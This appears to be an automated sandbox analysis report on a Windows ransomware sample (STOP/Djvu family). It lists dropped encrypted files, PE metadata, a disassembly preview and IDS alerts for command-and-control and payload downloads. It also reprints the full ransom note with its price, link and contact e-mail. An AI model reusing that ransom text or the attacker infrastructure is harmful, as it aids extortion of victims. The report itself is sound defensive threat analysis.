SSDEEP:	96:ho9uE5yML+DIIdY5MNj3la7wl3tF6KPUKXortGA81TQ/pAXZnASFKY:hopMRNrjP/o4AAZtKY
MD5:	23E4E7356D87DE5AE4F851EC0420B0D4
SHA1:	8A88308DCB93109D5E7E5B3E1936B4E696D177FF
SHA-256:	5A8330230673144412F621DB2861DD1416976C30543A9CE5C388807F6A1465E6
SHA-512:	7329A5FFCC2B50680564EDB67D989BDDB96CB132F7CECBEB0DDA318F782D9EA5EF355535A9BE330C96290F80DF6A1F6406D5C83DFD6DA8877D1811C7B8630B33
Malicious:	false
Preview:	.PNG.3.{9....{3..Q..Q....nB.TF![O.0......$uhnp.^..l..Y.+..I.'Z....\|B.=_..s..Xo.p../..8.....8/....l)m.A.../..g.'......n.u...>/....}...qV2&.:....!~<O...H#...M\P.....j-......R....8QO#........dD.s..}?...1.0>l.5.H..4(>\..L....e2p...3...\..M....%?.+d..cI.Y2...qrvJ.kr.?.Y.C.}.d,...vP[wQ.....m...1i.-b...JfP.4..>}-\.c7;.F#.2A.{.r.c.O....Z#...7..Na...U.i.....c9.k..;;....N..Y..cad.;.......R.EWQV.D..0..T.j.wP..k.4..0R..S....6!.O._?>/.......r.uqQ...k..w".xX...i...0&ZD4...ofVw" .)..F.q>...>)m...d....hF...\.c~08>..@.._.f.....]x..sx.....yE...........#..D...d...o.u.....z.....q............".`....PU2p..%..t.o2_j.\|.-m...?3."...#....._.lJ.....v.?...BJ$./......oK9A.c.`...,...@YX."J...:..}#..x...M....C......_c.ehH.M2....O..B6.`.h.>Ho<....!.*.L..P..."......b..%V.~...w....zx.......9Gb.....p$.W}.X~3..G.]..R)E...2g....F.hAt....r.P;....\|\n.....u............f...y..z....n:...[....i...4B]4..U.....k...Y.s.;. Z=\..P..7t; .k3...~.c@xz.1.l.-.....e..W.~.y.7!..b.c)...E:.T

C:\Users\user\Local Settings\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9670062231440335
Encrypted:	false
SSDEEP:	96:3TzhzFgC/HKE7oKQ/PTxH8vpMP8USFtjUYxdCCcBrlNCqBZRH/QPR8P/5qKAy5Il:DNQEePTyvaP4Ftj/xYJlAg/m3KA3
MD5:	7F336CA43CA0096341636C43F256EE63
SHA1:	161592C2911FFDE3383D3F589A80D3DFAC279941
SHA-256:	92EC63C41A4D450915878A82018BDA52990BEA2B401C4BC8B3A4840AF2DC45C2
SHA-512:	C46DAF274627AECBD7C4BD460F0970889C3A550793CA4C91DBCF983011310C96AE8CE108A169396DD278BD8DF04F5C122658F36DB9CBFBAFAFC7C47E3799CD84
Malicious:	false
Preview:	.PNG.Y...].[=vv.u .].tG...Kd[`H)..j....]e.V>) x.\..l.vJuY..0....1h.Q.dK..q..."......^..}.Z..'..^{o.D.4....3...U.S.0.x...rvPJ..x...uN...J.V.?..Cv..t.X@ik..j......)....c..6...R._.S...U!....1?k.I.y.t.iZ.R.t!.......al....nMw..4.....7C.N....t.F....c...^./4w#V...M....>.@L......a.?N.....(..Og.....-.1.mH.f.v.`.~...rNLMQ.=.?f..da..+d!...KY....P.c......2'.{.~.P.U...R[....g...W^.Tw.....o;p_...ypH.. ...J.............wG$.mb%.&.V0...D.!...s..Mj.s..NO..+...57.R.6....".r..'....G..I t...~.c..B8$.#v...O.D.......j@<......w....1.._k.O....Fa........(;$v...vB+...92.~...-..8...]......%`z.....=E.j....n.jY.E&+r,..>.3[m........{....+..8.$.f@aT..Jz..`..y$.$W..Dw...3.&."?v..[..xf.'$....l..%..x`...74.H8...:......w./..V...FN..@k..L.I.M..9.B...u.W...Mm.9\|w....r.....&^.P0 .:Iz.Z..6.m...9`....M.&..@..... ..'.'.\v.B[,..Z....4[[..d0X .;`8..?..=Z[."i..KW<...f..4.M`..iU.G=....&^G.a.......S~s..].......}......C...b..(..7.....^.x.,xXh...'.W......qr.Li.u.d.%U...Y..(

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.818655177176469
Encrypted:	false
SSDEEP:	24:uQWS37RfALZk/TRwQ1ANgx68x2+7KkiHlZFLDwFo2x0PE3aV03zbD:9Rsk1w3N0N2z5L4uRe3nD
MD5:	83AC55B4312FAAC49AD49CDDD18A0633
SHA1:	3E0E2E587F7A99422C16E7C29D5EEA0016D1711B
SHA-256:	C3C4744DFE759474EAD390E6C021C9AACCF26CBA1724BFCA44A1089C83863F36
SHA-512:	F37F14456699AFD87F3B18A4B2C5C37C65A4F60DBEEC38F3E1AAF3DB3707AFED22F9D127830DB45D7A51319517C664BF2720B44C4A48954142BE514139FD7460
Malicious:	false
Preview:	<?xmlr.......%.....u.......3f.hy.^..8..........i....q.HC.=..&..\|Lw.9.i/5.....t..9!..$Z...!G.HR.s.6.#.)v....c....H.j.E..[.gC....g..#..U..o..pJm.Z..a...?.#uT..N..'.._U.J>.x.{.;.w.~....GD.j.j`.th/Tm.L..N...T#Tb..OD.)<.P2.P.r....SQ.x.8ha._.@\|..B...q...m\\|.l..~..~...".._:...S..,..g8....W\|.t...8@...tq.O...d.Ye.j&.\.....Y...O..?. ...."^;,GClf%C..7.@.(..>.....:......u....k........:.$dm....gB.....`)K......0...(.[.6...q.-...0......=...v..j.I.D.5N...M.2.....~......f._.1.Rj3.Zt.&(...'W...<Ln....."..G_x...g$.<..>...i...U7s..'%....G-...\|..x7(.(.....'..x......@.Me)!..Q...i...46.M8i...U".......8...,k.l.)..0.YqF..BR{.,%!_]..)&... ..#.J.....l..9...e#$K.).7+..P.A.<.u..3.v....-...j..~.p...9}. J..\|.T..pH../b\.\|E-(.......... ....y.6.>vn..?.E..c#\dL.[.].7...hx....x...u...8.g.x'x..C.-P...9.s.Pf[&3..(.H...\|p.<.YP%...y..A..!......\.i....Nv..#5..\..LUu...5d?xJ<.jv.n.."W..2.Mw.....#...G..VO.@.(&.G8..s..Y.T.7:Fq....?..b3.+;....P).>....%.d..q7M.1.f\.D

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.818655177176469
Encrypted:	false
SSDEEP:	24:uQWS37RfALZk/TRwQ1ANgx68x2+7KkiHlZFLDwFo2x0PE3aV03zbD:9Rsk1w3N0N2z5L4uRe3nD
MD5:	83AC55B4312FAAC49AD49CDDD18A0633
SHA1:	3E0E2E587F7A99422C16E7C29D5EEA0016D1711B
SHA-256:	C3C4744DFE759474EAD390E6C021C9AACCF26CBA1724BFCA44A1089C83863F36
SHA-512:	F37F14456699AFD87F3B18A4B2C5C37C65A4F60DBEEC38F3E1AAF3DB3707AFED22F9D127830DB45D7A51319517C664BF2720B44C4A48954142BE514139FD7460
Malicious:	false
Preview:	<?xmlr.......%.....u.......3f.hy.^..8..........i....q.HC.=..&..\|Lw.9.i/5.....t..9!..$Z...!G.HR.s.6.#.)v....c....H.j.E..[.gC....g..#..U..o..pJm.Z..a...?.#uT..N..'.._U.J>.x.{.;.w.~....GD.j.j`.th/Tm.L..N...T#Tb..OD.)<.P2.P.r....SQ.x.8ha._.@\|..B...q...m\\|.l..~..~...".._:...S..,..g8....W\|.t...8@...tq.O...d.Ye.j&.\.....Y...O..?. ...."^;,GClf%C..7.@.(..>.....:......u....k........:.$dm....gB.....`)K......0...(.[.6...q.-...0......=...v..j.I.D.5N...M.2.....~......f._.1.Rj3.Zt.&(...'W...<Ln....."..G_x...g$.<..>...i...U7s..'%....G-...\|..x7(.(.....'..x......@.Me)!..Q...i...46.M8i...U".......8...,k.l.)..0.YqF..BR{.,%!_]..)&... ..#.J.....l..9...e#$K.).7+..P.A.<.u..3.v....-...j..~.p...9}. J..\|.T..pH../b\.\|E-(.......... ....y.6.>vn..?.E..c#\dL.[.].7...hx....x...u...8.g.x'x..C.-P...9.s.Pf[&3..(.H...\|p.<.YP%...y..A..!......\.i....Nv..#5..\..LUu...5d?xJ<.jv.n.."W..2.Mw.....#...G..VO.@.(&.G8..s..Y.T.7:Fq....?..b3.+;....P).>....%.d..q7M.1.f\.D

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.833805600593504
Encrypted:	false
SSDEEP:	24:q7rTMFMuDBNLGQqx8rN0jxyICNVUcfNAvCutof+4EQ5KRudmVE9US1gFwN3zbD:q+M0BNLvqGN0ohvAvUFKRuMK9H1hN3nD
MD5:	AF3549B67ECDAF557B55305571F60C12
SHA1:	F8993947BF9BD53340A5E0A1E76B5757ED48B86E
SHA-256:	8788610B564ABFA6EE74E23150CA698F5EA63CD58D0B9633F34121BD6AC04E33
SHA-512:	A59395E029989DFE8F6A848A79017F165E70D4E6C56C569660EE6191B3E9984DBCB171FB9600C1DB1375FFF5A28916F7FD7261E33C60D702DD124D49879554E1
Malicious:	false
Preview:	L......ZN<z.e....wza\|....3..q.4......-..).E...\|.#-...I.#...K....lv.H./E.J..>k..\|t..I..i.7..7..6.J4...N.s.~..sO...-....k....+\|..,j..,...k)xx.}.k.:G.uF...x.............j:v.`.xnvh!.~.?7...#.cH&...L.gR#...W.f.q...G......oG.8_.(.i.rB....I..>K...0-..u..+.Q..]...:.(.\|...Q7....N..H...e.N...;.......w.d.M.muz....]..kv..R.-.....H\|.;Vo4B...._._....B..$.+.u.`P~K..y0...f.Y.".(.......N.&/g........4a.u.f2A....K\...Td`+............bq^..R..hh.&..~+.6....<:T. J..- ~. ......T..P:%..q+s....-9.<.w.[..z.\|...[..9.T....`Q....O.qH.B}....U\o.F....`J1;0.vg\..........DE.@.Cro..\|a.!..q0%..H;....9...\|YGt.?.l..].0KN......'....j.t......B.....:x...M,(].c.df.....z.t,>..w..m...Jp....%c....$.I.o.uT....2.Z...3./..{....Y..Q@.t.....p.s5..J .%..+W=......W\|.".....D..3...<VvW........+.c'-...8.=.+.....Kx.......C...WJ......d.O..r...\.!z.@.=\|^A#G...1....6..z...eV...8..[=V...>......?d...(j.~M.L...#..*-1....>Y...{....[?..x......." d.l..X8.\|......u....\|.I..:`...$5.r`.k...

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.244918162453175
Encrypted:	false
SSDEEP:	6:u2Zbm38CgePnQX8OdZFMXyFksIuUja9gAQoT5lbnzqVyp3OsVolWbz6Wcii96Z:5Z638Cgef5OLBIupQoT5lPqVUx36WciD
MD5:	DB86418975A5B441F38CA92295DAE735
SHA1:	9CE0A81F75FF6C529C71C7863A9E8D0A98357DF7
SHA-256:	34824DF04F3ED136A345AC18F37D34BE3A4C545C6D4E629EF9F0A13B716F1A49
SHA-512:	511F6B0CBDB6297A6748CA3D66A5BDF3C894FC419A6B6D719D088CBD4790920F4783843C265964318E234DFB1A21D168480C459CFD6B5154051FDCCDCCEC2836
Malicious:	false
Preview:	desktt......a?....#....>.a$..s..n.A.J)....l.A[_.zFB.._.......li.j...q...F.l..l...7...hR.k.&..K......A).....)...6.)$f/%k..\|...j.J.h..Be.......e..,.z..&d..h..S....Mbb.=vc.....P-K.+.......]...;...l.2X.@B:?.....]_.>..&B...I0.H..^...y\|a..7....e.6hi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\RranN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465980294852415
Encrypted:	false
SSDEEP:	6144:BIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNddwBCswSbn:CXD94+WlLZMM6YFHz+n
MD5:	96D7E67CDF6B12513B419D9EC724A4D4
SHA1:	8C173BFA73BE7B02A51B7329EBFCFC2830EC0F50
SHA-256:	B792A00F1A01591F23EADBB2CBAA5A35BDB9BB99699084039D4D8246424FF7E6
SHA-512:	748F7401A8F033EFD3723F2FC6E39AC37329EE13BB845136A634FD584BE729764C2D1096F1C834D9F44B665EDE2B741F741838E4FEA499CE4C0CE8CBAE41A099
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmv.kQ................................................................................................................................................................................................................................................................................................................................................"V\|e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.218713424751825
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File size:	792'576 bytes
MD5:	0b5606b5bd61d8026fbcf1a217248485
SHA1:	905991e3483187cad6d9dd51cde2a3a4ac168e62
SHA256:	48ba4b8f4d87039ee33cac2af62a67ee1fd9b3b1b02f4b183f78a7c326b4e42d
SHA512:	5c53f4910545cb3a8b58675538e714c5296f15368d34d34d0e17f7f2f36b101915e46080697e0bcbbea2b17689047b21d7f5f29bc09df28ac7ad9c279b7b65c0
SSDEEP:	12288:ql94y1dr5PGO5XO9zPJeVV+3hLQlzLYBcPs91BlpFIZVQpxiMmwBnV++ic6/B:qT40RBxXO0+R829XlHpxiMDv++ic65
TLSH:	40F423E228610836C0471439B871FBC35EADB9221AE178A77BAE91377C709C45EF7365
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+...+...+...5.r.1...5.c.:...5.u.`....,......+...R...5.\|....5.b....5.g.*...Rich+...........................PE..L.....Oa...

File Icon


Icon Hash:	63656dc5654d7e0f

Static PE Info

General

Entrypoint:	0x500000
Entrypoint Section:	4\ud
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x614F1CC6 [Sat Sep 25 12:57:42 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f3e2f2b52a9345b2bd8582942ee5c776

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 6E617252h
mov dword ptr [ebp-44h], 78652E4Eh
mov dword ptr [ebp-40h], 00000065h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F7D586B7495h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFF03B0Ah
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F7D586B75DEh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F7D586B74E4h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F7D586B74DBh

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb2554	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfc000	0x3620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1180	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2480	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x148	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb1cd8	0xb1e00	c4e8837e7d7303a9cdc035f9614e299a	False	0.8470180187104709	data	7.440277027032213	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb3000	0x4891c	0x7c00	1662fd31462567fd5edac0711e6f30e1	False	0.029895413306451613	data	0.37438024255134067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xfc000	0x3620	0x3800	dc40a97dcb7e3bc3977baa959cf57752	False	0.63720703125	data	5.679715026798593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4\ud	0x100000	0x5000	0x4200	352e9e6b9abb73efdb7f565408e3aeb8	False	0.7775213068181818	data	6.934241467441137	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0xff368	0xe	data	French	Switzerland	1.5714285714285714
RT_ICON	0xfc260	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tajik	Tajikistan	0.6854838709677419
RT_ICON	0xfc928	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tajik	Tajikistan	0.6588174273858921
RT_ICON	0xfeed0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tajik	Tajikistan	0.775709219858156
RT_DIALOG	0xff518	0x4c	data	French	Switzerland	0.8421052631578947
RT_STRING	0xff568	0xb2	data	French	Switzerland	0.6460674157303371
RT_GROUP_ICON	0xff338	0x30	data	Tajik	Tajikistan	0.9375
RT_VERSION	0xff378	0x1a0	data	French	Switzerland	0.6009615384615384

Imports

DLL

Import

KERNEL32.dll

AllocConsole, SetConsoleTextAttribute, MoveFileExW, CreateDirectoryExA, FreeEnvironmentStringsA, GetConsoleAliasesA, GetConsoleAliasesLengthA, ReadConsoleW, InitializeCriticalSection, WriteConsoleW, GetBinaryTypeA, GetMailslotInfo, lstrlenW, ReplaceFileA, GetStdHandle, GetLastError, SetFilePointer, VirtualAlloc, WriteProfileSectionA, LoadLibraryA, GetProcessWorkingSetSize, MoveFileA, FindFirstChangeNotificationA, GetConsoleTitleW, VirtualProtect, GetCPInfoExA, SetCalendarInfoA, InterlockedPushEntrySList, GetProcAddress, UnregisterWait, HeapReAlloc, HeapAlloc, GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapCreate, VirtualFree, HeapFree, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, RtlUnwind, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize

Possible Origin

Language of compilation system	Country where language is spoken	Map
French	Switzerland
Tajik	Tajikistan

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T02:26:22.323846+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49754	20.12.23.50	192.168.2.4
2024-07-26T02:25:44.784883+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49745	20.12.23.50	192.168.2.4
2024-07-26T02:25:37.335386+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49737	443	192.168.2.4	188.114.96.3
2024-07-26T02:25:31.671279+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49731	443	192.168.2.4	188.114.96.3
2024-07-26T02:25:27.824819+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	58511	53	192.168.2.4	1.1.1.1
2024-07-26T02:26:51.777027+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49755	80	192.168.2.4	92.246.89.93
2024-07-26T02:26:25.320567+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49752	80	192.168.2.4	92.246.89.93
2024-07-26T02:25:58.864819+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49739	80	192.168.2.4	92.246.89.93
2024-07-26T02:27:18.274094+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49757	80	192.168.2.4	92.246.89.93
2024-07-26T02:25:30.225875+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49730	799	192.168.2.4	44.221.84.105
2024-07-26T02:26:20.670525+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49751	80	192.168.2.4	92.246.89.93
2024-07-26T02:25:25.749385+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	58511	53	192.168.2.4	1.1.1.1
2024-07-26T02:25:59.240064+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49740	80	192.168.2.4	92.246.89.93
2024-07-26T02:26:00.898471+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49743	80	192.168.2.4	92.246.89.93
2024-07-26T02:26:53.768977+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49756	80	192.168.2.4	92.246.89.93
2024-07-26T02:25:45.813837+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49747	443	192.168.2.4	188.114.96.3
2024-07-26T02:25:39.451477+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49741	443	192.168.2.4	188.114.96.3
2024-07-26T02:25:26.794766+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	58511	53	192.168.2.4	1.1.1.1
2024-07-26T02:26:27.337163+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49753	80	192.168.2.4	92.246.89.93
2024-07-26T02:27:20.229285+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49758	80	192.168.2.4	92.246.89.93
2024-07-26T02:25:53.501291+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49750	443	192.168.2.4	188.114.96.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 02:25:29.811311960 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 26, 2024 02:25:29.816355944 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 26, 2024 02:25:29.816441059 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 26, 2024 02:25:29.816664934 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 26, 2024 02:25:29.821564913 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 26, 2024 02:25:30.225703955 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 26, 2024 02:25:30.225874901 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 26, 2024 02:25:30.225907087 CEST	799	49730	44.221.84.105	192.168.2.4
